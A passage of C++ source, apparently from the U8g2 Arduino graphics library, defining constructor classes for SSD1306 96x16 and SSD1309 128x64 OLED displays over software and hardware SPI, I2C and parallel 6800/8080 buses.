u8g2_Setup_ssd1306_i2c_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_1_6800 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_1_8080 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_2_6800 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_2_8080 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_F_6800 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_F_8080 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME2_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME2_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_1_6800 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_1_8080 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_2_6800 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_2_8080 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_F_6800 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_F_8080 : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_F_HW_I2C(const 